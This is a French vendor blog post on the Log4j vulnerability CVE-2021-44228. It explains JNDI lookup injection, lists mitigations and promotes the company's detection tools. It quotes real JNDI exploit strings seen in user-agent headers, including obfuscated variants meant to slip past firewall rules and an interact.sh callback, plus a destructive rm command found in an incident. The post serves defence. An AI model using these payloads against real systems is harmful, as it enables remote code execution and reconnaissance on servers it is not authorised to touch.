1. Introduction
Ces derniers jours, une grave faille de sécurité dans Log4j ( CVE-2021-44228 , CVE-2021-45046 ) a failli provoquer une véritable catastrophe sur Internet. Log4j, un outil de journalisation Java largement utilisé et facilement exploitable, a sans aucun doute semé l'inquiétude chez les professionnels de l'informatique et les entreprises, et de nombreuses questions se posent : Quelle est cette vulnérabilité ? Comment savoir si notre système est vulnérable ? Notre infrastructure informatique a-t-elle déjà été compromise ? Que puis-je faire pour prévenir de futures attaques exploitant cette faille ?
Chez Stellar Cyber, nous suivons de près la situation, et nous sommes là pour fournir nos points à retenir et des conseils à nos clients et partenaires actuels et potentiels alors qu'ils naviguent à travers les incertitudes apportées par cette vulnérabilité Log4j.
2. Impact et atténuation
Selon la CVE-2021-44228 , toute version d'Apache Log4j2 antérieure à la v2.15.0 est vulnérable en raison d'une interpolation de chaînes non vérifiée lors d' une recherche JNDI ( Java Naming and Directory Interface ). Un attaquant capable d'injecter des données dans les messages de journalisation peut concevoir et injecter une expression d'interpolation JNDI spécialement formatée afin de charger et d'exécuter du code arbitraire depuis le point de terminaison JNDI spécifié (par exemple, un serveur LDAP) lors de l'évaluation de cette expression par Log4j.
L'impact de cette vulnérabilité devrait être important en raison de l'utilisation répandue de Log4j dans de nombreuses applications logicielles populaires et de sa facilité d'exploitation. La communauté de la sécurité a surveillé les sites web, les logiciels, les composants open source et autres fabricants utilisant Log4j, et a confirmé que même certaines grandes entreprises étaient vulnérables.
Pour atténuer cette vulnérabilité, nous conseillons à nos clients et partenaires de mettre à jour leur instance Log4j vers la version 2.15.0, dans laquelle le comportement lié à JNDI est désactivé par défaut. Si une mise à niveau immédiate n'est pas possible, une autre solution consiste à définir la propriété système ` log4j2.formatMsgNoLookups` sur `true` (applicable à partir de la version 2.10) ou à supprimer la classe `JndiLookup` du classpath (applicable aux versions de Log4j antérieures à la version 2.10 via la commande `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class` ).
De plus, nous recommandons à nos clients et partenaires de mettre à jour leur Java existant vers au moins la version 6u211, 7u201, 8u191 ou 11.0.1 dans laquelle le chargement de classe à distance JNDI est désactivé par défaut.
Pour les applications logicielles spécifiques utilisant Log4j et affectées par cette vulnérabilité, veuillez contacter les fournisseurs de logiciels pour appliquer les correctifs appropriés dès que possible.
3. Détails techniques
Dans CVE-2021-44228 , deux éléments essentiels et pertinents constituent la vulnérabilité : l’interface Java Naming and Directory (JNDI) avec fonctionnalité d’invocation de méthode à distance, et la prise en charge par Log4j de l’interpolation de journal avec recherche JNDI.
L'interface JNDI (Java Naming and Directory Interface , Figure 1) est une fonctionnalité ancienne mais toujours utile, datant de Java 2 v1.3. Elle fournit des fonctionnalités de nommage et d'annuaire aux applications Java, permettant ainsi à une application d'appeler différents fournisseurs de services, tels que le protocole LDAP ( Lightweight Directory Access Protocol ). Par exemple, une application Java peut transmettre l'URL ldap://some-ldap-server:389/o=SomeObjectID via JNDI à un serveur LDAP compatible, some-ldap-server, afin de trouver et d'appeler un objet distant nommé SomeObject.
(https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html)
Sur le Log4j Côté, la prise en charge de la recherche JNDI a été introduite pour la première fois dans la v2.0 en 2013 à la demande de ses utilisateurs pour des fonctionnalités de journalisation sophistiquées. Depuis lors, Log4j a permis aux développeurs d'utiliser l'interpolation de chaîne avec JNDI dans les messages de journal. Par exemple, on peut écrire logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}") et Log4j évaluerait l'expression d'interpolation et invoquerait JNDI en conséquence pour récupérer les données qui constituent le message de journal à partir d'un serveur distant.
Finalement, huit ans plus tard, le 30 novembre 2021, l' équipe Log4j a été informée de la vulnérabilité d'exécution de code à distance résultant de la combinaison de l'interpolation de journaux et de la recherche JNDI. Une semaine plus tard, la quasi-totalité de la communauté de la sécurité et du secteur informatique était au courant et commençait à paniquer.
La conséquence de cette vulnérabilité serait particulièrement grave, non seulement parce que Log4j est si largement utilisé, mais aussi parce que les gens ont utilisé Log4j d'une manière trop parfaite et trop facile à exploiter pour les attaquants.
Comme on peut le voir dans l'exemple ci-dessus de logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}"), pour exploiter avec succès cette vulnérabilité, un attaquant doit savoir quel type de données injectées sera éventuellement enregistré quelque part par un système victime utilisant Log4j. En réalité, c'est un fruit à portée de main pour tout attaquant ayant une connaissance minimale des applications réseau modernes, dans lesquelles il est courant de consigner chaque demande, y compris son URL, sa chaîne de requête et son agent utilisateur.
Chez Stellar Cyber, nous avons surveillé les tentatives d'exploitation faites à nos clients et partenaires au cours de la semaine dernière. Notre détection des anomalies de l'agent utilisateur basée sur l'apprentissage automatique a déjà détecté des chaînes d'agent utilisateur anormales telles que :
${jndi:ldap://xxx.xxx.xxx.xxx:2222/lx-ffff82fd0128500008eac5b861000000005a8343}${jndi:${lower:l}${lower:d}a${lower:p}://xxx.x:80/callback}${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6sg0p8vc25qalcfvemgcghoy4yyyyyjo.interact.sh}
Parmi ces échantillons, nous constatons que les attaquants ont étudié différentes manières d'exploiter la vulnérabilité - non seulement en utilisant la forme vanille, mais également en proposant différentes variantes pour échapper aux pare-feu d'applications Web basés sur des règles qui tentent de correspondre ${jndi:ldap*.
Bien qu'aucun cas connu d'attaquants ayant exploité cette vulnérabilité et causé de graves conséquences n'ait été recensé, il est néanmoins important de noter que même un simple sondage, par exemple une tentative d'exploitation de la vulnérabilité avec DNSLog pour déterminer si un système cible est vulnérable, pourrait s'avérer dommageable, car les attaquants pourraient être en train de collecter des informations à ce moment-là.
4. Comment Stellar Cyber peut vous aider
Chez Stellar Cyber, nous fournissons plusieurs outils à nos clients et partenaires pour se défendre contre les attaques exploitant CVE-2021-44228.
Grâce à notre fournisseur de renseignements sur les menaces, Stellar Cyber Security Sensor (SDS) dispose déjà des signatures à jour pour détecter les exploitations typiques de CVE-2021-44228.
4.1 Alertes stellaires sur les détections d'exploitation
Nous proposons actuellement les types d'alertes suivants qui détectent une nouvelle signature IDS ou un pic de signatures IDS :
- – Anomalie d’exploitation publique à privée
- – Anomalie d’exploitation privée à publique
- - Anomalie d'exploitation privée à privée
- - Anomalie d'exploitation publique à publique
Veuillez surveiller ces alertes avec "log4j" dans la description de l'alerte ou ids.signature champ.
4.2 ATH pour garder une trace des signatures Apache Log4j correspondantes
Si vous souhaitez garder une trace de toutes les instances de signatures Apache Log4j correspondantes, vous pouvez envisager de créer les règles suivantes (Attention : cela peut créer un grand nombre d'alertes) :
- - Chercher Événements de bac à sable ML-IDS/programmes malveillants index avec la requête
ids.signature: log4j.
4.3 Reconnaissance d'URL et détections d'anomalies de l'agent utilisateur
Les attaquants explorant différentes variantes d'exploitation, nos détections d'anomalies basées sur l'IA (Figure 2) aident également à détecter les tentatives indirectes ou inhabituelles.
Nous trouvons des tentatives indirectes de détection d'anomalies de reconnaissance d'URL avec Log4j dans une partie des URL pour exploiter la vulnérabilité via des applications Web Java. De telles tentatives impliquent généralement un attaquant qui recherche les pages à exploiter, ce qui entraîne un nombre anormal d'erreurs HTTP 4xx, qui peuvent être détectées par URL Reconnaissance Anomaly Detection.
Les chaînes User-Agent étant un moyen d'exploitation majeur selon nos observations, notre User Agent Anomaly Detection est également un outil utile. Il détecte les chaînes User-Agent qui n'ont jamais été vues auparavant ou qui ont été vues très rarement, pouvant ainsi fournir une défense supplémentaire contre la tendance croissante à l'exploitation.
Chercher "log4j" directement dans toutes les alertes pourrait être raisonnable. (Attention : il s'agit d'une requête très coûteuse, veuillez ne pas essayer des données brutes qui pourraient entraîner une surcharge du lac de données.)
4.4 Corrélation des incidents
Une tentative d'exploitation de CVE-2021-44228 peut n'être qu'une seule action résultant en une seule alerte de nos détections. Afin d'étudier plus avant et de suivre les attaques potentielles en cours liées au Log4j facilement exploitable, nous proposons une fonctionnalité d'incidents supplémentaire (Figure 3) pour corréler un ensemble de multiples alertes et entités corrélées constituant une attaque unifiée potentielle (c'est-à-dire un incident) pour une meilleure visibilité et gérabilité de la sécurité. Nous utilisons des capacités d'apprentissage automatique pour générer des incidents automatiquement, en regroupant les alertes associées dans un incident unifié pour une meilleure résolution des attaques.
Comme nous pouvons le voir sur la figure 4, qui montre une vue chronologique détaillée d'un incident avec CVE-2021-44228 exploitation, notre Corrélation d'Incidents rassemble automatiquement trois alertes hautement corrélées à partir de trois détections différentes classées au moment où elles se produisent : d'abord une anomalie User-Agent où un attaquant a tenté d'injecter une chaîne User-Agent malveillante de 10.11.191.95 à 10.11.190.88, suivi d'un processus anormal détecté le 10.11.190.88, et se terminant par une anomalie de commande exécutant une commande dangereuse
xargs -r -0 rm -f.5. Conclusions
Dans ce post, nous avons partagé nos plats à emporter de CVE-2021-44228 et avons offert des conseils à nos clients et partenaires actuels et potentiels, et nous avons également montré comment Stellar Cyber peut venir à la rescousse en cette période incertaine. Pour rappel, assurez-vous de corriger et de mettre à jour tous les logiciels concernés, y compris Log4j (to v2.15.0+) and Java (to at least 6u211, 7u201, 8u191, or 11.0.1).
